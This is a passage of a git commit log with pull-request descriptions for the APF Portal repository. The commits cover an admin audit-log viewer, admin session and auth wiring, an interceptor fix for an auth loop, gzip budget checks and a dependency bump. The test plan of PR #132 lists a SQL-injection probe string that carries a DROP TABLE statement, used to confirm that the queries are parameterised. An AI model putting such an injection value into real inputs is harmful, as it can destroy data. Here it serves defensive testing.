- `DownstreamTokenCache.get`'s "never throws" posture is deliberate. A cache failure must not poison a downstream call: the strategy re-acquires from Entra. The trade-off is that a key-rotation gone wrong shows up as silent re-acquisitions (no errors, just extra MSAL load); the structured Pino warns are the ops signal.
- The `DownstreamModule` is wired into `AppModule` even though nothing consumes the strategy at runtime. Without the wiring, the first integration PR would have to also touch the module graph; with it, the integration is just "inject `OboStrategy` and call `.acquire()`".

---------

Co-authored-by: Julien Gautier <julien.gautier@apf.asso.fr>
Reviewed-on: #137
2026-05-14 18:13:30 +02:00
julien d86f3f9663 feat(portal-admin): audit log viewer screen (#136)
CI / check (push) Successful in 2m19s
CI / commits (push) Has been skipped
CI / scan (push) Successful in 1m26s
CI / a11y (push) Successful in 1m53s
CI / perf (push) Successful in 4m28s
## Summary

Final piece of the **portal-admin chantier** per [ADR-0020](docs/decisions/0020-portal-admin-app.md) §"v1 scope" item 4. The new `/audit` route consumes [`GET /api/admin/audit`](apps/portal-bff/src/admin/admin-audit.controller.ts) (PR #132), renders a filter form + paginated results table, and trips the `admin.audit.query` deterrent on every fetch. Closes the loop from "BFF emits audit events" (PRs #120, #127, #128) through "BFF exposes them via a guarded endpoint" (PR #132) to "an admin can actually read them in a browser".

## What lands

### [`AuditEventsService`](apps/portal-admin/src/app/pages/audit/audit-events.service.ts)

Thin `HttpClient` wrapper around `GET /api/admin/audit`. Builds `HttpParams` from the filter shape, **dropping empty strings** (Nest's `ValidationPipe` treats `?foo=` as `foo === ''` and 400s). `providedIn: 'root'` — the audit page is the only consumer in v1.

### [`AuditPage`](apps/portal-admin/src/app/pages/audit/audit.ts)

Signal-driven page. State surface:

| Signal | Role |
| --- | --- |
| `eventType`, `actorIdHash`, `audience`, `outcome`, `subjectPrefix`, `createdAtFrom`, `createdAtTo` | One per filter field, bound via `[ngModel]` / `(ngModelChange)`. |
| `limit`, `offset` | Pagination. `limit` defaults to **50**, capped at **200** to mirror the BFF's `MAX_LIMIT`. |
| `page`, `loading`, `error` | Async result triplet. |
| `hasNextPage`, `hasPreviousPage`, `resultRange` | Computed signals for the pagination controls + the "1–50 of 1 234" status line. |

UI structure:

- **Filter form** — 8 inputs in a responsive auto-fit grid, plus "Apply filters" + "Reset" buttons. Submitting via Enter respects the form action; pressing Reset zeroes every signal.
- **Result table** — timestamp (locale-formatted via `Date.toLocaleString`), event type (monospaced), audience + outcome with **color-coded badges** (`success` green / `failure` red / `denied` amber), actor hash + subject stacked, trace id, and a `<details>` disclosure for the JSON payload so the row stays scannable.
- **Pagination** — Previous / Next disabled at boundaries. Applying a filter resets offset to 0 so a narrower query never inherits a stale page index.
- **States** — explicit loading line, empty state (`"No audit events match the current filters."`), error message. **403 surfaces "you do not have access"**; everything else collapses to a generic retry message so the admin UI doesn't leak BFF internals.

### Routing + i18n

- [`app.routes.ts`](apps/portal-admin/src/app/app.routes.ts) — `/audit` lazy-loaded.
- Title: `Audit log — APF Portal Admin` (EN) / `Journal d'audit — Administration APF Portal` (FR). The matching `route.audit.title` trans-unit lands in [`messages.fr.xlf`](apps/portal-admin/src/locale/messages.fr.xlf) — required because the admin app's prod build uses `i18nMissingTranslation: "error"`.
- The sidebar's "Audit log" link (already shipped in PR #134) is now active end-to-end.

## Implementation notes

- **`@RequireMfa` not applied** to the BFF endpoint in v1. The admin surface already sits behind a freshly-MFA'd session (`/api/admin/auth/login` enforces it via Entra CA), and the per-query `admin.audit.query` audit row is the deterrent against fishing expeditions. Adding `@RequireMfa({ freshness: 600 })` is a one-line change when the security review asks — the SPA's `bffUnauthorizedInterceptor` already handles the resulting 401 gracefully.
- **Page-size cap mirrors the BFF**. The SPA offers 25 / 50 / 100 / 200 in the dropdown; the BFF `AuditReader.findEvents` clamps `limit` to 200 regardless of what comes over the wire — defense in depth.
- **`AdminAuditQuery` interface** uses `?: T | undefined` so callers can build the query object with `undefined` placeholders under `exactOptionalPropertyTypes: true` — the page's `buildFilters()` does exactly that.
- **SCSS budget** — 4.98 KB / 5 KB warning. Below the 6 KB error ceiling. The audit page's chrome is intentionally chunky because the table needs distinct visual lanes for six columns; I trimmed the redundant `font-family` stacks and unused `text-transform` / `letter-spacing` declarations to fit.

## Test plan

- [x] `pnpm nx test portal-admin` — **30 specs pass** (was 15; +15: AuditEventsService 3, AuditPage 12).
- [x] `pnpm exec nx affected -t format:check lint test build --base=origin/main` — clean.
- [x] AuditEventsService verified to: GET the correct URL, forward populated filters as `HttpParams`, drop empty strings, omit `undefined`.
- [x] AuditPage covered: initial fetch on init, result-range string, empty / loading / error states (incl. 403 vs 5xx differentiation), Apply filters resets offset to 0, Reset clears every signal + re-queries, Next disabled when page covers total, Previous disabled at offset 0, outcome-badge variants match row data, payload disclosure only renders for rows with a payload.
- [ ] e2e — sign in via `/api/admin/auth/login` (requires the Entra `admin` app role assignment), navigate to `/audit`, expect the most recent `auth.sign_in` / `admin.audit.query` events from earlier sessions, exercise the filter form, observe a new `admin.audit.query` row in `audit.events` per fetch.

## Notes for the reviewer

- The error-state branch on 403 surfaces a permission-specific message rather than the generic "Could not load the audit log…". The admin role can be revoked mid-session (Entra-side), and a clear message + a retry path is friendlier than "server error".
- Payload rendering uses `<details>` rather than a modal or always-on JSON viewer — the table stays scannable at glance, and an auditor pivoting into a specific row gets the structured detail one click away. No third-party JSON-tree dependency added in v1.
- The "Audit log" sidebar entry from PR #134 was a `aria-disabled` placeholder until now; this PR makes it live. The other three v1 modules (CMS, menu management, user list) remain placeholders and will graduate as they land.

## What's next

This PR closes the portal-admin chantier. Open follow-ups from the roadmap:

- **`DownstreamApiClient` + OBO** ([ADR-0014](docs/decisions/0014-downstream-api-access-obo-pattern.md)) — first real consumer when an Entra-protected business API needs the BFF as a passthrough.
- **Strategic security baseline ADR** — RSSI sign-off on ASVS / HDS / GDPR / NIS 2 framing. Currently paused per [CLAUDE.md](CLAUDE.md) §"Repository status".
- **CMS pages / menu management / user list** — the other three ADR-0020 v1 admin modules. Each is its own self-contained chantier.

---------

Co-authored-by: Julien Gautier <julien.gautier@apf.asso.fr>
Reviewed-on: #136
2026-05-14 17:50:17 +02:00
julien 71a098b154 fix(feature-auth): use AUTH_PATH_PREFIX to skip the /me endpoint in the 401 interceptor (#135)
CI / scan (push) Successful in 2m27s
CI / commits (push) Has been skipped
CI / check (push) Successful in 3m30s
CI / a11y (push) Successful in 1m44s
CI / perf (push) Successful in 3m18s
## Summary

Regression introduced by PR #134 / merged minutes ago: opening portal-admin while anonymous fires the bootstrap `/admin/auth/me` → 401 → `bffUnauthorizedInterceptor` triggers `AuthService.refresh()` → which re-fires `/admin/auth/me` → 401 → tight loop that exhausts the BFF's 120/min rate limiter in seconds. The user lands on a `rate_limited` error instead of the "Sign in" panel.

## Root cause

[`bffUnauthorizedInterceptor`](libs/feature/auth/src/lib/bff-unauthorized.interceptor.ts) deliberately skips the `/me` endpoint to avoid the loop (the bootstrap `/me` legitimately 401s when anonymous). But the skip target was **hardcoded** to `${bffBaseUrl}/auth/me`:

```ts
!req.url.startsWith(`${bffBaseUrl}/auth/me`)
```

When portal-admin overrides `AUTH_PATH_PREFIX` to `/admin/auth` (per PR #134), the bootstrap URL becomes `${bffBaseUrl}/admin/auth/me`, which does **not** start with `${bffBaseUrl}/auth/me`. The interceptor treats it as a regular protected route, calls `refresh()`, and we're off to the races.

The reported log shows the rate-limit counter dropping `remaining=3 → 2 → 1 → 0` over four `/me` calls within ~25 ms, all 401.

## Fix

Derive the skip URL from `AUTH_PATH_PREFIX` (which the interceptor already has access to via DI — same module as the AuthService):

```ts
const meUrl = `${bffBaseUrl}${pathPrefix}/me`;
…
!req.url.startsWith(meUrl)
```

Same behaviour for portal-shell (the default `/auth` factory keeps the skip URL at `/auth/me`), correct behaviour for portal-admin (`/admin/auth/me`), and any future surface that picks a different prefix inherits the fix automatically.

## Test plan

- [x] `pnpm nx test feature-auth` — **30 specs pass** (was 29; +1 regression spec asserting that no follow-up `/me` is issued after a bootstrap 401 when the prefix is `/admin/auth`).
- [x] `pnpm exec nx affected -t format:check lint test build --base=origin/main` — clean.
- [ ] Manual: `pnpm nx serve portal-admin`, visit `http://localhost:4300/`, observe the BFF log — exactly **one** `/admin/auth/me` request (the bootstrap), 401, no follow-up, no rate-limit hit. The home page renders the "No admin session detected" + Sign in button.

## Notes for the reviewer

- The bug pattern is symmetric: any future host that overrides `AUTH_PATH_PREFIX` would have hit the same trap. Making the skip target derive from the token is the structural fix; the regression spec pins it.
- portal-shell tests still pass without changes — the default factory returns `/auth`, so the existing fixtures continue exercising `${bffBaseUrl}/auth/me` as the skip target.
- No SPA-side changes needed in portal-shell or portal-admin app code. The fix is entirely inside the lib.

---------

Co-authored-by: Julien Gautier <julien.gautier@apf.asso.fr>
Reviewed-on: #135
2026-05-14 17:23:44 +02:00
julien 40741ce326 feat(portal-admin): spa auth wiring + admin shell skeleton (#134)
CI / check (push) Successful in 3m27s
CI / commits (push) Has been skipped
CI / scan (push) Successful in 1m45s
CI / a11y (push) Successful in 2m29s
CI / perf (push) Successful in 4m24s
## Summary

Phase-3a step per [ADR-0020](docs/decisions/0020-portal-admin-app.md) §"Confirmation" item 4 (entry route + admin shell). Wires the existing [`feature-auth`](libs/feature/auth) library against the distinct admin OIDC routes (`/api/admin/auth/*`) the BFF exposes since PR #129, ships a lean header/sidebar/footer chrome with an "Admin" badge so an internal user can never mistake the surface for portal-shell, and gives the landing page a self-test panel that confirms the auth chain end-to-end as soon as an `admin` Entra role gets assigned.

## What lands

### Lib change — `AUTH_PATH_PREFIX` injection token

[`libs/feature/auth`](libs/feature/auth/src/lib/auth.config.ts) gains one injection token. AuthService composes URLs as `${bffBaseUrl}${pathPrefix}/{me,login,logout}` instead of hard-coding `/auth/...`. Default factory returns `/auth`, so portal-shell-shaped consumers keep working without an explicit provider — no churn on existing call sites. Admin hosts override with `/admin/auth`.

The interceptors (`bffCredentialsInterceptor`, `csrfInterceptor`, `bffUnauthorizedInterceptor`) are **unchanged** — they only care about the BFF base URL, not the path prefix.

### portal-admin wiring

- [environment.ts](apps/portal-admin/src/environments/environment.ts) — same shape as portal-shell, same BFF base URL (both SPAs talk to one BFF per ADR-0020 §"Where does the admin app live"). Same CSRF cookie name in v1.
- [app.config.ts](apps/portal-admin/src/app/app.config.ts) — `HttpClient` with the standard interceptor chain (credentials → csrf → unauthorized), `AUTH_BFF_BASE_URL` from env, `AUTH_PATH_PREFIX = '/admin/auth'`, `AUTH_CSRF_COOKIE_NAME` from env.

### Admin shell

- **[AdminHeader](apps/portal-admin/src/app/components/header/header.ts)** — APF wordmark + persistent "Admin" badge + auth widget. No global search / notifications / help cluster: admins land on tabular workloads, not a discovery dashboard (ADR-0020 §"UX style is data-dense").
- **[AdminSidebar](apps/portal-admin/src/app/components/sidebar/sidebar.ts)** — static menu listing the four ADR-0020 v1 modules. Audit log is a live router link (target of the next PR); the others are `aria-disabled` placeholders with a "Soon" badge so the navigation shape is visible even before they ship.
- **[AdminFooter](apps/portal-admin/src/app/components/footer/footer.ts)** — copyright + persistent "Admin surface" tag. Stays in view for long workloads where the header has scrolled off.

### Home — auth self-test panel

[apps/portal-admin/src/app/pages/home/](apps/portal-admin/src/app/pages/home/):

- Signed-in: shows `displayName`, `username`, `tenant`, `oid` in a monospaced detail list.
- Anonymous: "No admin session detected" + a "Sign in via Entra" button that delegates to `AuthService.login()` → 302 through `/api/admin/auth/login`.
- Error: "Could not reach the BFF" + retry button.
- Roadmap list quoting ADR-0020's v1 catalogue.

## Known limitations (v1, documented)

- **CSRF cookie shared between surfaces.** Both portals issue `portal_csrf` on session creation. A user with both portals open will see overwrites on the second sign-in; mutating actions on the first surface will then 403 until refresh. Splitting to `portal_admin_csrf` is a follow-up if the pattern becomes common.
- **Shell chrome strings are plain English.** The admin app's `$localize` plumbing is wired (matches portal-shell), but adding markers to the shell here would require regenerating `messages.fr.xlf` and `i18nMissingTranslation=error` fails the prod build on every gap. Full admin i18n is its own follow-up.
- **`LayoutStateService` not yet consumed.** No collapse toggle in v1. Theme preference still threads through because both apps read the same `localStorage` key — toggle in portal-shell, see it honoured in portal-admin.
- **`ci:perf` only runs against portal-shell.** Admin perf budgets are enforced at build time by `apps/portal-admin/project.json` (`maximumError == maximumWarning` per ADR-0020's relaxed thresholds: 500 KB initial JS / 1.5 MB initial total). Adding admin to `pnpm ci:perf`'s gzip + Lighthouse chain is a follow-up.

## Test plan

- [x] `pnpm nx test feature-auth` — **29 specs pass** (was 28; +1 for the `AUTH_PATH_PREFIX` override).
- [x] `pnpm nx test portal-admin` — **15 specs pass** (was 1; +14: AdminHeader 5, AdminSidebar 3, AdminFooter 2, Home 4, App 1 expanded).
- [x] `pnpm exec nx affected -t format:check lint test build --base=origin/main` — clean.
- [x] Gzip-budget script run manually against `dist/apps/portal-admin/browser`: 86.65 KB initial / 300 KB budget, 4.46 KB CSS / 150 KB budget, 2.15 KB largest lazy / 100 KB per-chunk budget. Both `en` + `fr` bundles checked thanks to PR #133's multi-locale detection.
- [ ] e2e — pending an Entra `admin` role assignment. Once available: `pnpm nx serve portal-admin`, visit `http://localhost:4300`, see "No admin session detected", click "Sign in via Entra", complete the round-trip, land back on `/` with the signed-in payload + `portal_admin_session` cookie set.

## Notes for the reviewer

- `AdminHeader` is intentionally narrower than `Header` from portal-shell — no shared base class. The two are likely to evolve in different directions (admin-specific banner with system-status badges, audit-trail link, etc.) and a premature abstraction would be expensive to undo.
- `AdminSidebar`'s "Soon" badge is a deliberate signal — without it, an admin who clicked a placeholder link and got a route-not-found would assume the app is broken. The badge sets expectations.
- All shell components use `:host-context(.dark)` for dark-mode SCSS instead of `:host(.dark)` — same pattern as portal-shell, since the `.dark` class lives on `<html>` outside the component's view encapsulation.

---------

Co-authored-by: Julien Gautier <julien.gautier@apf.asso.fr>
Reviewed-on: #134
2026-05-14 17:00:38 +02:00
julien aea395ae65 feat(ci): assert gzip transfer sizes against ADR-0017 budgets (#133)
CI / check (push) Successful in 1m59s
CI / commits (push) Has been skipped
CI / scan (push) Successful in 2m34s
CI / a11y (push) Successful in 1m8s
CI / perf (push) Successful in 4m8s
## Summary

Closes the ADR-0017 follow-up that was sitting on an unpushed local branch (`feat/ci/gzip-transfer-size-budgets`) for ~5 days, while ADRs 0018–0021 and the auth/admin/security tracks landed. Cherry-picked onto current `main`, with a small follow-up fix to make the script work against the locale-split build layout introduced by ADR-0019 between the two commits.

## What lands

### Commit 1 — `feat(ci): assert gzip transfer sizes against ADR-0017 budgets`

[`scripts/check-gzip-budgets.mjs`](scripts/check-gzip-budgets.mjs) — plain-Node, no deps, ~120 LOC at landing. Closes the ADR-0017 §Confirmation gap (Angular CLI's `budgets` only compare RAW sizes):

- Parses Angular's emitted `index.html` to separate **initial** assets (anything referenced via `src=` / `href=`) from **lazy** chunks (the rest).
- Gzips every JS / CSS file at level 9 — what most HTTP servers serve for static assets — and reports a per-file + per-bucket table.
- Asserts the [ADR-0017](docs/decisions/0017-performance-budgets-lighthouse-ci.md) thresholds (`initial JS total ≤ 300 KB`, `any lazy chunk ≤ 100 KB`, `total CSS ≤ 150 KB`) and exits non-zero on any breach.
- Wired through:
  - `pnpm ci:gzip-budgets` invokes the script with the default dist path.
  - `ci:perf` chains build → gzip check → Lighthouse, so a budget breach short-circuits before Lighthouse even runs.

ADR-0017 §Confirmation also updated to point at the script instead of describing it as a "future follow-up".

### Commit 2 — `fix(ci): adapt gzip-budget check for the @angular/localize multi-bundle layout`

The original commit predated PR #91 / [ADR-0019](docs/decisions/0019-internationalisation-angular-localize.md), which made `@angular/localize` emit one self-contained bundle per locale under `dist/apps/portal-shell/browser/<locale>/`. The script looked for `index.html` directly under the dist root and failed with ENOENT on every build since.

Fix:

- Auto-detects layout. If `dist/index.html` exists → flat mode (unchanged behaviour, kept for single-locale apps like `portal-admin`). Otherwise enumerates immediate subdirectories with their own `index.html` and runs the check **per locale**.
- Budget thresholds apply per locale — each bundle is what the user's browser actually downloads. Aggregating across locales would understate the worst case.
- Violations across locales are collected + reported together with the locale tag prefixed so a single CI run surfaces every breach.
- ADR-0017 §Confirmation amendment expanded to spell out the per-locale check + cite ADR-0019.

## Test plan

- [x] `node --check scripts/check-gzip-budgets.mjs` — syntax OK.
- [x] `pnpm ci:gzip-budgets` against the current production build:
  - 2 locale bundles detected (`en`, `fr`).
  - Initial JS total: ~141 KB / 300 KB budget ✓ (each locale).
  - CSS total: 4.62 KB / 150 KB budget ✓ (each locale).
  - Largest lazy chunk: 1.55 KB / 100 KB per-chunk budget ✓.
- [x] No conflict on `package.json` despite 11 PRs touching it since the branch base — cherry-pick auto-merged cleanly.
- [ ] CI: `pnpm ci:perf` end-to-end (build → gzip-budgets → Lighthouse). Validates on the runner.

## Notes for the reviewer

- The script lives at the repo root under `scripts/` rather than as an Nx target — it's a pure CI helper, not project-scoped. Matches the existing `ci:audit` / `ci:commits` pattern in `package.json`.
- No dependencies added. Uses `node:fs/promises` and `node:zlib`.
- The original branch (`feat/ci/gzip-transfer-size-budgets`) is preserved in local-only state for paranoia; once this PR merges, it can be `git branch -D`'d.

---------

Co-authored-by: Julien Gautier <julien.gautier@apf.asso.fr>
Reviewed-on: #133
2026-05-14 16:22:54 +02:00
julien 261203ec5a feat(portal-bff): admin audit-log read endpoint + audit_reader-locked path (#132)
CI / check (push) Successful in 2m49s
CI / commits (push) Has been skipped
CI / scan (push) Successful in 2m11s
CI / a11y (push) Successful in 1m6s
CI / perf (push) Successful in 3m39s
## Summary

First real consumer of the admin module — `GET /api/admin/audit`, the paginated audit-log viewer named in [ADR-0020](docs/decisions/0020-portal-admin-app.md)'s v1 catalogue. Gated by `@RequireAdmin`, reads through the `audit_reader` Postgres role only, and emits `admin.audit.query` on every call as the "fishing expedition" deterrent ADR-0020 calls out (§"Read actions are also captured … to deter fishing expeditions"). This is the BFF half of the audit-viewer chantier — the SPA screen lands later.

## What ships

### [`AuditReader`](apps/portal-bff/src/admin/audit-reader.service.ts)

- Wraps every read in a transaction whose first statement is `SET LOCAL ROLE audit_reader`. Symmetric with `AuditWriter`'s `SET LOCAL ROLE audit_writer`: the runtime role contract holds even when the BFF connection is otherwise privileged. UPDATE / INSERT / DELETE on `audit.events` fail at the Postgres level regardless of what gets through the application layer.
- Parameterised SELECT only — filter values flow into `$queryRawUnsafe`'s positional params, never concatenated into the SQL string. Subject-prefix filter uses `LIKE` with explicit `ESCAPE '\\'` and escapes `%` / `_` / `\` in the literal so an admin-side wildcard can't masquerade as a meta-character.
- COUNT(\*) + `LIMIT` / `OFFSET` pagination. Ordering is `created_at DESC, id DESC` for deterministic page boundaries on identical timestamps (UUIDs break ties).
- Hard caps `limit` at `MAX_LIMIT` (200) even if a caller bypasses the DTO — defense in depth on the BFF's event loop.

### [`AdminAuditQueryDto`](apps/portal-bff/src/admin/audit-query.dto.ts)

| Filter | Type | Notes |
| --- | --- | --- |
| `eventType` | string ≤128 | Exact match (e.g. `auth.sign_in`). |
| `actorIdHash` | string ≤128 | Exact match on the salted hash from the writer. |
| `audience` | enum | `workforce` \| `customer`. |
| `outcome` | enum | `success` \| `failure` \| `denied`. |
| `subjectPrefix` | string ≤128 | `LIKE 'prefix%'`, escaped literal. |
| `createdAtFrom` | ISO-8601 | Inclusive lower bound. |
| `createdAtTo` | ISO-8601 | Exclusive upper bound. |
| `limit` | int 1..200 | Default **50**. |
| `offset` | int ≥0 | Default **0**. |

Bound through Nest's global `ValidationPipe` — unknown query keys are rejected by `forbidNonWhitelisted` (defends against query-string smuggling), `transform: true` coerces numeric strings into numbers.

### [`AdminAuditController`](apps/portal-bff/src/admin/admin-audit.controller.ts)

`@Controller('admin/audit')` + `@RequireAdmin()` at the class level. The handler:

1. Calls `AuditReader.findEvents(filters)`.
2. Emits `admin.audit.query` with `{ filters, resultCount }` so a reviewer can see exactly what the admin searched for and how many rows came back.
3. Returns the page to the SPA.

`@RequireMfa({ freshness: 600 })` is **intentionally not applied** in v1: the admin surface already sits behind a freshly-MFA'd session at sign-in (per ADR-0020), and the per-query audit row is the deterrent. Adding `@RequireMfa` later is a one-line change — that's why the decorator was designed-in by PR #128.

### [`AuditWriter.adminAuditQuery()`](apps/portal-bff/src/audit/audit.service.ts)

New typed method using `outcome=success`. The read **happened** regardless of whether it matched rows; row count lives in `resultCount`. An `outcome=denied` from this surface is reserved for the day we add per-row authZ.

## Operational notes

- **Dev pool, `SET LOCAL ROLE` pattern** (per [ADR-0018](docs/decisions/0018-environment-configuration-strategy.md)): the BFF talks to Postgres on the shared `DATABASE_URL` pool and switches role per-transaction. In production the audit-write pool is already split via `AUDIT_DATABASE_URL`; a dedicated `audit_reader`-only pool is a future follow-up if read-side isolation is desired (the role-locking on the shared pool already prevents privilege bleed at the Postgres level).
- COUNT(\*) is fine at v1 audit volume; if the table grows past a few million rows we'll switch to keyset pagination and drop the total.

## Test plan

- [x] `pnpm nx test portal-bff` — **308 specs pass** (was 278; +30: AuditReader 10, AdminAuditController 6, AuditWriter typed event 2, DTO validation 12).
- [x] `pnpm exec nx affected -t format:check lint test build --base=origin/main` — clean (the pre-existing `_res` / `_next` warnings in `rate-limit.middleware.ts` are unrelated).
- [x] SQL-injection probe via fixture (`'; DROP TABLE events; --` as `eventType`) — value lands in the params array, SQL stays templated.
- [x] LIKE escaping verified: `%`, `_`, `\` in `subjectPrefix` are escaped to their literal form.
- [ ] e2e — pending the admin SPA + at least one `admin` Entra role assignment. Once both exist: `curl --cookie 'portal_admin_session=…' /api/admin/audit?eventType=auth.sign_in&limit=10` returns the most recent sign-ins and `psql` shows the matching `admin.audit.query` row in `audit.events`.

---------

Co-authored-by: Julien Gautier <julien.gautier@apf.asso.fr>
Reviewed-on: #132
2026-05-14 16:08:58 +02:00
julien 77343e3113 fix(portal-bff): use the real portal-admin dev port (4300) in admin-flow references (#131)
CI / check (push) Successful in 3m6s
CI / commits (push) Has been skipped
CI / scan (push) Successful in 2m11s
CI / a11y (push) Successful in 1m5s
CI / perf (push) Successful in 3m59s
## Summary

PR #129 (`feat(portal-bff): distinct admin session + /api/admin/auth flow`) baked `4201` into a handful of comments, test fixtures, and the `.env.example` as the portal-admin dev port. The actual port wired in [apps/portal-admin/project.json](apps/portal-admin/project.json#L87) `serve.options.port` is **4300** — that's what `pnpm nx serve portal-admin` listens on.

This PR aligns the references so a contributor copying values from `.env.example` (or reading the test fixtures) sees the same port their browser is going to hit.

It also drops `http://localhost:4300` into `CORS_ALLOWED_ORIGINS` — the portal-admin SPA will hit the BFF with credentials as soon as the admin auth flow is exercised end-to-end, and without the origin in the allowlist the browser blocks the call. Better to set the right example now than have the next contributor chase a CORS error.

## Touched

- [apps/portal-bff/.env.example](apps/portal-bff/.env.example):
  - `ENTRA_ADMIN_POST_LOGOUT_REDIRECT_URI` default + the surrounding comment now point at `http://localhost:4300/`.
  - `CORS_ALLOWED_ORIGINS` example lists both `:4200` (portal-shell) and `:4300` (portal-admin).
  - Both sections cite `apps/<app>/project.json` `serve.options.port` as the source of truth so a future reader doesn't have to grep.
- [apps/portal-bff/src/config/check-cors-allowlist.ts](apps/portal-bff/src/config/check-cors-allowlist.ts) — stale doc-comment that pre-dated the portal-admin scaffolding, now matches reality.
- Test-fixture `adminPostLogoutRedirectUri` values in `auth.module.spec.ts`, `auth.controller.spec.ts`, `auth.service.spec.ts`, `admin-auth.controller.spec.ts`, `check-entra-config.spec.ts` — tests don't depend on the port; aligned for clarity only.

## Test plan

- [x] `grep -rn 4201 apps/ libs/` → empty.
- [x] `pnpm nx test portal-bff` — **278 specs pass** (unchanged from #129; this PR only touches strings).
- [x] No behaviour change in the BFF; only the example values shift. Developers must update their local `.env` to pick up the new port + origin.

## Notes for the reviewer

The two new env vars from #129 (`ENTRA_ADMIN_REDIRECT_URI`, `ENTRA_ADMIN_POST_LOGOUT_REDIRECT_URI`) plus the existing `CORS_ALLOWED_ORIGINS` are mandatory at boot. If your local `apps/portal-bff/.env` still has the `4201` value, the BFF will still start (any valid URL passes the validators) — but admin logout will 302 you to a port nothing is listening on, and the admin SPA's BFF calls will fail CORS. Update to `4300` to match the actual portal-admin dev server.

---------

Co-authored-by: Julien Gautier <julien.gautier@apf.asso.fr>
Reviewed-on: #131
2026-05-14 15:40:07 +02:00
APF Portal Bot 392a32c0fe chore(deps): update analog monorepo to v2.5.1 (#130)
CI / commits (push) Has been skipped
CI / scan (push) Successful in 3m12s
CI / check (push) Successful in 4m28s
CI / a11y (push) Successful in 1m27s
CI / perf (push) Successful in 5m19s
This PR contains the following updates:

| Package | Type | Update | Change |
|---|---|---|---|
| [@analogjs/vite-plugin-angular](https://github.com/analogjs/analog) | devDependencies | patch | [`2.5.0` -> `2.5.1`](https://renovatebot.com/diffs/npm/@analogjs%2fvite-plugin-angular/2.5.0/2.5.1) |
| [@analogjs/vitest-angular](https://analogjs.org) ([source](https://github.com/analogjs/analog)) | devDependencies | patch | [`2.5.0` -> `2.5.1`](https://renovatebot.com/diffs/npm/@analogjs%2fvitest-angular/2.5.0/2.5.1) |

---

### Release Notes

<details>
<summary>analogjs/analog (@&#8203;analogjs/vite-plugin-angular)</summary>

### [`v2.5.1`](https://github.com/analogjs/analog/blob/HEAD/CHANGELOG.md#251-2026-05-13)

[Compare Source](https://github.com/analogjs/analog/compare/v2.5.0...v2.5.1)

##### Bug Fixes

- **vite-plugin-angular:** keep fallback-block components eager in defer walker ([6f90b77](https://github.com/analogjs/analog/commit/6f90b777e45af5a566d96fd626d1a49a2c5f401d))
- **vite-plugin-angular:** preserve TS sourcemaps in test pipeline ([#&#8203;2333](https://github.com/analogjs/analog/issues/2333)) ([46c608f](https://github.com/analogjs/analog/commit/46c608f0e365e483e623d52bd7ef61b01d535365))
- **vite-plugin-angular:** strip TS in fastCompile bypass for non-Angular files ([#&#8203;2327](https://github.com/analogjs/analog/issues/2327)) ([d337c55](https://github.com/analogjs/analog/commit/d337c55ffe83b1a961e6aa91e805feab12e1aa1b))
- **vite-plugin-angular:** support [@&#8203;defer](https://github.com/defer) nested inside [@&#8203;switch](https://github.com/switch) / [@&#8203;case](https://github.com/case) ([28c9600](https://github.com/analogjs/analog/commit/28c960068d473dc2cc0f4eff583bd11f0fd22220))
- **vite-plugin-angular:** wrap binary/integer-literal receivers in member access ([8a0bae6](https://github.com/analogjs/analog/commit/8a0bae6c2d7713d26ab4ab99a153fc006a9595ec))

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Enabled.

♻ **Rebasing**: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about these updates again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR has been generated by [Renovate Bot](https://github.com/renovatebot/renovate).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MC42Mi4xIiwidXBkYXRlZEluVmVyIjoiNDAuNjIuMSIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsiZGVwZW5kZW5jaWVzIl19-->

Reviewed-on: https://git.unespace.com/julien/apf_portal/pulls/130
Co-authored-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com>
Co-committed-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com>
2026-05-14 15:13:15 +02:00
julien fed905edc5 feat(portal-bff): distinct admin session + /api/admin/auth flow (#129)
CI / commits (push) Has been skipped
CI / scan (push) Successful in 2m13s
CI / check (push) Successful in 2m27s
CI / a11y (push) Successful in 57s
CI / perf (push) Successful in 3m55s
## Summary

Phase-3a step per [ADR-0020](docs/decisions/0020-portal-admin-app.md) §"Sessions — distinct from `portal-shell`". Wires a second `express-session` middleware on `/api/admin/*` carrying `__Host-portal_admin_session` over Redis prefix `session:admin:`, and ships the parallel `/api/admin/auth/{login,callback,me,logout}` flow that populates it. Signing in to one surface no longer signs the user into the other — Entra SSO at the IdP level still preserves the click-through.

## What lands

### Session middlewares — path-routed dispatch

| Token | Cookie | Redis prefix | Bound to |
| --- | --- | --- | --- |
| `SESSION_MIDDLEWARE` | `portal_session` / `__Host-portal_session` | `session:` | every path **except** `/api/admin/*` |
| `ADMIN_SESSION_MIDDLEWARE` | `portal_admin_session` / `__Host-portal_admin_session` | `session:admin:` | `/api/admin/*` only |

Implemented via a `buildSessionMiddleware(redis, logger, opts)` factory in [session.module.ts](apps/portal-bff/src/session/session.module.ts) — the TTL policy, encryption key, signing secret, session-id entropy, and serializer error-handling all come from the same source. Only the cookie name + Redis key prefix differ.

The dispatch in [main.ts](apps/portal-bff/src/main.ts) is a tiny `(req, res, next) => req.path.startsWith('/api/admin') ? adminSession(...) : userSession(...)`. Running both middlewares unconditionally would have the second overwrite `req.session` from the first, collapsing the two surfaces.

### Distinct admin auth flow

[`AdminAuthController`](apps/portal-bff/src/admin/admin-auth.controller.ts) mounts `/api/admin/auth/{login,callback,me,logout}`. Structurally identical to [`AuthController`](apps/portal-bff/src/auth/auth.controller.ts) but passes `adminRedirectUri` / `adminPostLogoutRedirectUri` and clears the admin session cookie on logout. `me` exposes the `roles` claim (admin SPA needs it for conditional UI); the user-portal `me` intentionally still doesn't.

### Shared `SessionEstablisher` (no controller duplication)

[`SessionEstablisher`](apps/portal-bff/src/auth/session-establisher.service.ts) encapsulates the session lifecycle so both controllers stay thin:

- `establish({ user, req, res, surface })` — mints CSRF, populates `user / createdAt / absoluteExpiresAt / csrfToken / mfaVerifiedAt`, saves, sets the CSRF cookie, registers in `user_sessions` index, emits `auth.sign_in` audit (blocking), logs with the `surface` tag.
- `destroy({ actor, req })` — when `actor` is set, removes from index + emits `auth.sign_out`; always destroys the session with Redis-hiccup tolerance.

